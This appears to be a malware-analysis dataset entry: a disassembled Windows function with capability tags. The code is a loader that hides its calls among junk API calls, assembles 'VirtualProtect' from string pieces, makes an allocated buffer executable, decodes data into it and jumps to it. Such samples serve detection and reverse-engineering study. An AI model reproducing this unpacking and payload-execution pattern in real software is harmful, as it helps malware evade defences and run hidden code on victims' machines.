Function at 0x401214
Capabilities:
Access the windows event log
Create process on windows
Get disk information
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78c
mov eax, dword [0x409418]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x28324
jne 0x40133b
push 0x409f20
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x1c279
jne 0x40133b
mov dword [ebp - 0x780], 0x409f20
mov eax, dword [ebp - 0x780]
inc eax
mov dword [ebp - 0x784], eax
mov eax, dword [ebp - 0x780]
mov al, byte [eax]
mov byte [ebp - 0x785], al
inc dword [ebp - 0x780]
cmp byte [ebp - 0x785], 0
jne 0x401267
mov eax, dword [ebp - 0x780]
sub eax, dword [ebp - 0x784]
mov dword [ebp - 0x78c], eax
cmp dword [ebp - 0x78c], 0xc5bdc
jne 0x40133b
push 0x18
pop ecx
mov esi, str.keluxepuvemira_zelerinekabatigisojero_jezotolupasisulimurimejozu_zuyuwakocapavayifirebiguheyi_ve
lea edi, [ebp - 0x98]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadModule]
push 6
pop ecx
mov esi, str.hemesuju_ni
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea eax, [ebp - 0x779]
mov dword [ebp - 0x778], eax
and dword [ebp - 0x30], 0
and dword [ebp - 0x2c], 0
and dword [ebp - 0x28], 0
lea ecx, [ebp - 0x30]
call fcn.0040181d
push 0
call fcn.004019bd
pop ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
lea ecx, [ebp - 0x30]
call fcn.00401862
and dword [ebp - 0x9c], 0
jmp 0x401351
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xe3df7
jge 0x40146a
cmp dword [ebp - 0x9c], 0x2f9
jge 0x401385
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GrayStringA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
cmp dword [ebp - 0x9c], 0x197
jge 0x4013c0
push 0x28
pop ecx
mov esi, str.keyupocunucipojafiyayama_zu_pinonebazahinoja_gohoxogamekixitunodolekoxosi_zeveke
lea edi, [ebp - 0x190]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x190]
push eax
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AppendMenuW]
push 0
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
cmp dword [ebp - 0x9c], 0x186
jge 0x401400
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 6
pop ecx
mov esi, str.cecudixetixakehereseyeta
lea edi, [ebp - 0x1ac]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0
lea eax, [ebp - 0x1ac]
push eax
push 0
call dword [sym.imp.USER32.dll_SetPropA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp dword [ebp - 0x9c], 0x587
jge 0x40141c
push 0
call dword [sym.imp.KERNEL32.dll_DebugBreakProcess]
cmp dword [ebp - 0x9c], 0x6dc
jle 0x401465
cmp dword [ebp - 0xa8], 0x226f941
je 0x401465
cmp dword [ebp - 0xa4], 0x5d3667a9
je 0x401465
cmp dword [ebp - 0xbc], 0x64e861b5
je 0x401465
call dword [sym.imp.USER32.dll_GetInputState]
push 0
lea eax, [ebp - 0x2f8]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetLogColorSpaceA]
jmp 0x40146a
jmp 0x401344
and dword [ebp - 0x2fc], 0
jmp 0x401480
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x13071
jge 0x401507
cmp dword [ebp - 0x2fc], 0x13c
jge 0x4014d8
push 0
push 0
push 0
push 0
call dword [sym.imp.ole32.dll_OleMetafilePictFromIconAndLabel]
push 0x12
pop ecx
mov esi, str.Ji_sohorabe_nuserevatakenevagumegeda
lea edi, [ebp - 0x358]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x304]
push eax
push 0
lea eax, [ebp - 0x358]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
push 0
call dword [sym.imp.USER32.dll_GetDC]
cmp dword [ebp - 0x2fc], 0xd464
jne 0x4014ee
mov eax, dword [0x409410]
mov dword [0x40a304], eax
cmp dword [ebp - 0x2fc], 0x145
jge 0x401502
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
jmp 0x401473
and dword [ebp - 0x35c], 0
jmp 0x40151d
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x1793e
jge 0x401589
cmp dword [ebp - 0x35c], 0x3f
jge 0x40154a
push 0
call dword [sym.imp.USER32.dll_ReplyMessage]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Ellipse]
cmp dword [ebp - 0x35c], 0x10f4a
jne 0x401565
mov eax, dword [0x40a304]
add eax, 0xbeca0
mov dword [0x40a304], eax
cmp dword [ebp - 0x35c], 0x271
jge 0x401587
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetClassLongA]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
jmp 0x401510
and dword [ebp - 0x360], 0
jmp 0x40159f
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x947192
jge 0x4015ee
cmp dword [ebp - 0x360], 0x26ed
jge 0x4015cd
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
cmp dword [ebp - 0x360], 0x48fc5d
jne 0x4015ec
push dword [0x40a304]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x40a26c], eax
jmp 0x401592
mov eax, dword [0x409404]
mov dword [0x40aab4], eax
and dword [ebp - 0x364], 0
jmp 0x40160e
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
mov eax, dword [ebp - 0x364]
cmp eax, dword [0x40a304]
jae 0x401698
cmp dword [ebp - 0x364], 0xad6
jge 0x401660
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateRoundRectRgn]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push 0
call dword [sym.imp.USER32.dll_CloseWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowsHookW]
mov eax, dword [0x40a26c]
add eax, dword [ebp - 0x364]
mov ecx, dword [0x40aab4]
add ecx, dword [ebp - 0x364]
mov cl, byte [ecx + 0xbeca0]
mov byte [eax], cl
cmp dword [ebp - 0x364], 0x622
jge 0x401693
push 0
call dword [sym.imp.KERNEL32.dll_LocalLock]
jmp 0x401601
mov dword [ebp - 4], 0xbb
sub dword [ebp - 4], 0x7b
and dword [ebp - 0x368], 0
jmp 0x4016b9
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x276b9f
jge 0x40177a
cmp dword [ebp - 0x368], 0x22ae
jge 0x4016f0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
push 0
lea eax, [ebp - 0x768]
push eax
push 0
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp dword [ebp - 0x368], 0x260d26
jne 0x40175e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x40a300], eax
push str.Virtual
push 0x409f20
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Protect
push 0x409f20
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x409f20
push dword [0x40a300]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40a268], eax
lea eax, [ebp - 0x76c]
push eax
push dword [ebp - 4]
push dword [0x40a304]
push dword [0x40a26c]
call dword [0x40a268]
cmp dword [ebp - 0x368], 0x893
jge 0x401775
push str.gupegaleheruwagobukiredexuvuwa_jeyowujovutuzudiposuxezoyiru_dipufopicivehopowegigoreriveke_karisaruginilevusubonaxiwiyo_vizicese
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
jmp 0x4016ac
push section..data
push dword [0x40a304]
push dword [0x40a26c]
call fcn.0040115b
and dword [ebp - 0x770], 0
jmp 0x4017a6
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 0x72791a
jge 0x4017e5
cmp dword [ebp - 0x770], 0x25c6059d
jle 0x4017c6
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp dword [ebp - 0x770], 0x3458be
jne 0x4017e3
nop
add dword [0x40a304], 0x6328d06a
call dword [0x40a26c]
jmp 0x401799
mov eax, dword [0x40aab8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov dword [eax + 4], 1
push str.hizujizayonizinukisihinitu_fatotovohewimipuzigovujozi_luwibaduyoxitijigudesu
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004019ae
leave
ret 0x10